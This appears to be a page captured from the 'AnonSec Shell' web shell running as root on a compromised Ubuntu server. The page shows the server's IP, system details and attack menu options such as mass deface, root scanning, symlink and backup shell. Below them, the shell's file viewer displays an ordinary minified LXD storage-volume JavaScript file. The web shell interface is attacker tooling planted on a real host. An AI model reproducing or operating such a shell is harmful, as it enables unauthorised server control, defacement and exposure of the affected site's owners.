AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/31333/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/lxd/31333/share/lxd-ui/assets/StorageVolumeCreate-76138e07.js
import{e as j,d as a,i as v,r as m,G as u,m as b,j as e,bd as h,B as x,b as C,be as N,q as l}from"./index-13b2882d.js";import{c as q,a as F,u as V}from"./index.esm-82c30f37.js";import{S as k}from"./updateMaxHeight-325b3cd4.js";import{c as B,v as R}from"./StorageVolumeForm-228515f8.js";import{M as $}from"./StorageVolumeFormMenu-e90b9f5c.js";import"./ConfigurationTable-1a9d4d6f.js";import"./ConfigFieldDescription-00c1a193.js";import"./DiskSizeSelector-dd5e138a.js";import"./FormMenuItem-c8a1a121.js";const A=()=>{const r=j(),i=a.useNotify(),n=v(),[c,d]=m.useState(u($)),p=m.useState(null),{project:t}=b();if(!t)return e.jsx(e.Fragment,{children:"Missing project"});const g=q().shape({name:F().test(...h(t,"custom",p)).required("This field is required")}),s=V({initialValues:{content_type:"filesystem",type:"custom",name:"",project:t,pool:"",size:"GiB",isReadOnly:!1,isCreating:!0},validationSchema:g,onSubmit:o=>{const S=R(o,t);N(o.pool,t,S).then(()=>{n.invalidateQueries({queryKey:[l.storage]}),n.invalidateQueries({queryKey:[l.projects,t]}),r(`/ui/project/${t}/storage/volumes`,i.queue(i.success(`Storage volume ${o.name} created.`)))}).catch(y=>{s.setSubmitting(!1),i.failure("Storage volume creation failed",y)})}}),f=()=>{s.submitForm()};return e.jsxs(x,{title:"Create volume",contentClassName:"storage-volume-form",children:[e.jsx(C,{}),e.jsx(B,{formik:s,section:c,setSection:o=>d(u(o))}),e.jsxs("div",{className:"l-footer--sticky p-bottom-controls",children:[e.jsx("hr",{}),e.jsx(a.Row,{className:"u-align--right",children:e.jsxs(a.Col,{size:12,children:[e.jsx(a.Button,{appearance:"base",onClick:()=>r(`/ui/project/${t}/storage/volumes`),children:"Cancel"}),e.jsx(k,{isSubmitting:s.isSubmitting,isDisabled:!s.isValid,onClick:f,buttonLabel:"Create"})]})})]})]})};export{A as default};

Anon7 - 2022
AnonSec Team